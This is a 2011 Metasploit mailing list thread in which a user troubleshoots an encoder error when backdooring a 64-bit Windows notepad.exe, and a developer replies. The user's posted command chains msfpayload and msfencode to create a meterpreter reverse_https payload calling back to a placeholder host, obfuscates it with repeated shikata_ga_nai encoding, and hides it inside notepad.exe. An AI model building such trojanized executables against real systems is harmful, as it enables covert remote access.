Metasploit mailing list archives

Re: encode an exe from windows 2008 r2 sp1


From: r00m_213 <r00m213 () gmail com>
Date: Sun, 6 Nov 2011 15:58:28 +0100

The command line I am using:

./msfpayload windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=443 R | \
./msfencode -e x86/shikata_ga_nai -c 5 -t raw | \
./msfencode -x notepad.exe -t exe -e x86/shikata_ga_nai -c 5 -o
notepad1.exe -k

r00m-213

On Sun, Nov 6, 2011 at 3:41 PM, Matthew Weeks
<scriptjunkie1 () googlemail com>wrote:

Are you trying to put a 32-bit payload into a 64-bit executable? What's
the command line you are using?

On Sun, Nov 6, 2011 at 8:23 AM, r00m_213 <r00m213 () gmail com> wrote:

Hi guys,

I am using
       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 757 exploits - 398 auxiliary - 114 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r14170 updated today (2011.11.05)

I am trying to encode an exe like notepad.exe from windows 2008 r2 sp1
(x64)
I get the error message:

..
..
[-] x86/shikata_ga_nai failed: index 193536 out of string
[-] No encoders succeeded.

Doesn't matter what exe I use, still get the same error message.

This worked for me every time with windows xp executables.

Can someone tell what's wrong.

Regards,

r00m-213

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework



_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: